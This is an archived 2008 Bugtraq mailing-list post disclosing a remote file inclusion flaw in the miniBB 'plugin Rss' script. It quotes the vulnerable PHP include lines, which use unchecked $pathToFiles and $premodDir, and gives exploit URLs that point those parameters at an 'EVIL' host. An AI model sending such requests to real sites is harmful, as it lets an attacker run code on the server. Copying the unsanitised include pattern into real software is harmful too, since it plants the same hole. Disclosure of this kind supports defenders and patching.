bugtraq - plugin Rss Remote File Inclusion Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Tue, 29 Jul 2008 08:04:50 +0300
From: Ghost hacker <ghost-r00t@...mail.com>
To: ستروك <submit@...w0rm.com>,
	السيكروتي فوكس <bugtraq@...urityfocus.com>
Subject: plugin Rss Remote File Inclusion Vulnerability


##################################################################################################
plugin Rss Remote File Inclusion Vulnerability
Ghost Hacker, http://gh0st10.wordpress.com
 |,  .-.  .-.  ,|
 | )(_o/  \o_)( | R-H team
 |/     /\     \|
##################################################################################################
 [~] Found by : Ghost Hacker
 [~] HomePage : real-hack.net
 [~] Email : Ghost-r00t@...mail.com
 [~] Name Script : plugin Rss
 [~] Download Script : http://www.minibb.com/download.php?file=minibb_plugin_rss
##################################################################################################
 [~] Error :
include ($pathToFiles.'setup_mysql.php');
include ($pathToFiles.'bb_functions.php');
include($premodDir.'premoder_posts.php');
include($premodDir.'premoder_topics.php');
 [~] Exploit :
http://xxxx/rss.php?premodDir=EVIL
http://xxxx/rss.php?pathToFiles=EVIL
##################################################################################################
 [~] Greetz :
PROTO & QaTaR BoeZ TeaM & Aseg-Rabe7 & Dmar al3noOoz & 4Bo3tB & L&J Team & Root Hacker ..
Qptan & ScarY.HaCkEr & EgYpTiaNxHaCkEr the-pirate.org & Mr.hope
All Members Real Hack And All My Friends ..
##################################################################################################
Found by : Ghost Hacker [ R-H TeaM ]
##################################################################################################

hi str0ke 
HomePage plugin Rss http://www.minibb.com
s33 y0u :) ,
_________________________________________________________________
Express yourself instantly with MSN Messenger! Download today it's FREE!
http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/